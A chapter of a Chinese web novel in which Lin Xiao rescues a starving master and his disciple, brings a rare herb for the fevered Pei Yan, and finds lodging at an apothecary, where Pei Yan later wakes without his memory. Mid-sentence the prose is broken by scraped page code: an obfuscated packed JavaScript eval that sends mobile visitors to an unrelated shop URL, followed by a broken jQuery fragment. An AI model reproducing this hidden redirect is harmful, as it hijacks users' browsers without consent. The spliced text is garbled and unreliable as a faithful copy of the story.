林晓看着眼前头发胡乱地披散在额头前,身上衣服也破烂不堪的老人,试探性地喊出:
“大师?”
脑海中出现了一个大胆的想法,但是她又不敢相信。
林晓听到了久违且熟悉的回应:
“林小姐,是我。”
还没来得及问这到底是发生了什么,她便听到大师的肚子响起了响亮的肠鸣声,荡气回肠。
这到底是发生了什么呀。
林晓在心中盘算着。
还没来得及想到底是怎么回事,她连忙上前把大师给扶到了一旁的树下坐着。
“小灵,快帮我换一点吃的干粮。”
识海里传来萌萌哒的声音,清脆悦耳:
“主人,你确定要拿五星币换干粮嘛?”
“人命关天,还不赶快!废什么话!”
下一瞬,她的袖子里便出现了一块饼子。
虽并不精美,却能饱腹,是此时的她最需要的东西。
将饼子拿到大师的嘴边,掰成一块块的小块,喂他吃下。
替大师擦了擦额头边的汗,柔声问道:
“大师,你还好吗?”
刘双艰难地将口中的饼吞咽而下,用手顺了顺自己的喉咙,终于深深地呼出一口气:
“啊……还好还好。”
大师的怀里,还抱着一个裴堰,双眼紧闭,像是一个安睡的睡美人一般。
而一旁的小竹,仅仅只是几日不见,便变得像吸光了阳气一般,无力地躺卧在一旁的草地上。
林晓赶紧也将剩下的一块饼塞进了小竹的嘴里。
林晓这边忙完,就忙那边,终于都安顿好了,让他们都靠在树上。
才深深地呼出一口气,满心的疑惑喷涌而出:
“你们到底是怎么了,你们不是说好了在山上等我吗?怎么落得这样一幅狼狈样?”
刘双看看一旁的小竹,又看看自己还抱在怀里没醒过来的裴堰。
脸上露出狼狈之色,羞赧开口:
“说来惭愧,林小姐,等你走之后不久,山上便闯上来了一队伍的强盗,□□杀的。”
“我们这山上许久也没遇到过这样的阵仗了,也没有什么会武功的,只能用些雕虫小技……”
说到这里,刘双面上的红晕更深了一些,手指有些不自然地卷着衣服袖子。
“但是也只能让我们逃了出来。”
小竹终于含糊地将嘴里的饼全部咽下,一双眼睛瞪得大大的,手上动作不停,手舞足蹈的,脸上满是回忆起那场强盗的愤恨:
“就是啊,林小姐,你都没看到那一幕,可恐怖了,一个个手上都拿着棍子,虎背熊腰,凶神恶煞的,我们看到了连躲都来不及。”
“一进来就翻箱倒柜地翻东西,把草药都全部踩烂了,院子里的东西也摔得摔,都不能用了。”
“那可是用钱都换不到的宝贝呢,师父的玉佩、香囊、墨条……”
小竹提起这些被砸烂抢走的东西如数家珍,再次提起的时候,牙齿咬得紧紧的,发出上牙齿和下牙齿之间摩擦的刺耳的“吱吱”声。
“行了,小竹,别说了,东西都没了,还说这些,只是徒增烦恼罢了。”
小竹还没说尽兴,就被大师残忍打断。
林晓看着还在昏迷之中的裴堰,脸烧的越来越红,她不禁上前握住了他的手。
仍是滚烫的一片。
真是可怜见的。
“大师,我找到无忧草了。”
这两只无忧草,是在被绑架的时候,在那个寺庙里面发现的,两位绑匪出去闲逛的时候,将两株无忧草随意地扔在了寺庙里的角落里。
林晓在带着吴岑逃跑的时候,顺带就把这两只无忧草给顺走了。
真是得来全不费工夫。
师父和小竹看着她手中的无忧草,不由得瞪大了双眼。
“小友,你竟然真的找到了,这个无忧草可是已经失传了许多年了,你是从何处找到的,肯定是废了很大的功夫吧。”
这无忧草,通身浅绿色,里面的花瓣慢慢绽开,呈现漂亮的紫色。
如果仔细看,还能看到上面闪着点点荧光。
刘双忍不住靠近这株无忧草,双手小心翼翼地捧起,静静观赏着。
“没有啊,倒是也没费什么功夫,就是那人拿这两株无忧草当成是诱饵,把我自己绑到了寺庙里不知道所为何事。”
听到这里,两人屏住了呼吸。
“其实也没啥事,后来我也逃走了。还顺带顺走了这两株无忧草。”
两人又深深地呼出一口气。
她将双手摊开,眉眼弯弯地看向两人,神情轻松地说道:
“也还算是收获挺大的吧。”
见两人没有说话,她又自顾自地说道:
“我当时还担心着呢,要是回到天行山上的时候,这无忧草已经枯萎了该怎么办呢?”
她深深地呼出一口气,笑脸盈盈地,对着他们说:
“还好……一切都还来得及。”
“轰隆!”
天空中一声巨响,乌云密布。
前一秒还是晴空万里,下一秒就变成了乌云密布,豆大的雨点倾盆而下。
几人甚至都还来不及躲闪。
“快快快,前面有一个山洞,我们快进去,先进去躲会儿雨。”
虽然及时躲进了山洞内,但是还是不可避免地淋到了一些雨。
这雨水,对于仍持续处于高温中的裴堰来说,简直像是毒药一般,催化加深了他的病情。
她能清楚地感知到,裴堰的手在一点一点慢慢变冷。
“我们得赶紧把这中药给熬出来了,裴堰已经等不了了。”
山洞外,雨淅淅沥沥地下着,但相比适才的倾盆大雨,已经小了许多。
林晓将自己的外衣脱下一件,严严实实地遮住裴堰的脸,密不透风,只剩下鼻子和嘴巴呼吸的地方留了孔。
“走吧我们,我知道山下有几个药铺。”
一把公主抱起裴堰,就往山下走。
——
“掌柜的,抓个药。”
林晓将药方推了过去。
“好嘞,这就给您抓药。”
掌柜的只是草草地看了一眼,便知道这药方水平极好。
轻巧地将药方放下,耳边夹着的笔顺势拿了下来:
“您这药方……当真有水平,可否介绍这大师给我认识认识。”
掌柜激动地一拍胸膛,眉毛高高扬起,眉飞色舞地:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635992|206586||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“您要是肯介绍这大师給我认识,别说这抓药不要您的钱,我还借你一块地方住如何?”
“我的后院反正空着也是空着,我看您几位也是外乡人……”
嘴巴高高扬起,眼睛直直地盯着林晓,执着地要求着。
“行啊,有什么不行的,就是这位。”
还在心里建设着自己该如何介绍自己的时候,刘双直接被推向前去。
“您好,掌柜的,正是在下。”
林晓看自己的眼神犹如看见了一棵摇钱树,眼睛亮亮的,眉眼含笑,向药铺的掌柜介绍道:
“这药方便是这位大师写的。”
“您别说,这位大师的对于各种病症的治法,药方的精准配比,了如指掌,可谓是运用得出神入化。”
一旁的小竹也应和道:
“那是自然,我师父说第二,没人敢说第一!”
阴差阳错间,几人当晚便住进了这药铺的后院,一切的后顾之忧悄然间全然消解。
昏暗的烛光前。
“大师,这裴堰啥时候才会醒啊?”
林晓坐在裴堰的床前,一动不动地看着仍紧闭双眼的裴堰。
两只手乖巧地放在身子两侧,脸蛋恢复了正常的白皙的颜色,正常的呼吸频率,手也恢复了往日的温暖。
是久违的柔软且温暖的手。
可是,只有一点不好。
怎么裴堰还没睁开眼睛。
林晓端坐在椅子上,两只手放在自己的膝盖上,眼睛一眨也不眨地盯着裴堰,问道:
“大师,到底什么时候才会醒啊,他明明都吃药了,也退烧了,可是为什么这眼睛就是还不睁开来看看我呢?”
沉稳的声音在一旁响起:
“小友,不要急,说不定他明天就醒了呢。一切都会变好的。”
声音有些黏糊,含糊着说道:
“那还是要早点醒过来的,那万一一辈子都不醒来,他……”
“他的大业还要不要完成啦!”
声音有些含糊,却带着豆蔻少女独有的青春稚气。
“放心,吉人自有天相,小友不必如此焦急。”
林晓双手托住自己的脸,嘴巴嘟嘟,脸颊上的肉都被挤成一团,显得整个人特别天真秀气:
“好吧,那我就再等等。”
“裴堰,你个坏人,可不要让我等太久哦。”
昏黄的烛光,一男一女,一人昏睡着,一人一眨不眨地看着。
刘双默默地看着这一幕,便悄然退了出去。
嗯……还怪有意思的。
不怪那人强硬将他掳来受这一遭罪了。
——
天渐渐地亮了起来。
“别动我的手,我还要睡呢!”
睡梦中,林晓能感觉到有人在拨弄她的手指头,翻来覆去地,是一双大手。
朦胧间,睁开了双眼,眼前仍是雾蒙蒙的一片。
隐约间,她听到床上的人嘴巴张开,对她说道:
“夫人!你终于醒了。我等你等得好辛苦呀!”
她的脑中只有一个念头:
终于醒了太好了!
下一秒,她意识到一个问题:
怎么还是失忆了呀喂!